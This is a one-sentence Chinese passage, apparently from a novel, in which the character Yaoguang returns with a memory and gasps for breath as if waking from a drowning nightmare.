摇光也随着这段记忆回来了,惊魂未定,小手抚着胸口,失声大喘着气,好像从溺水的噩梦中醒来。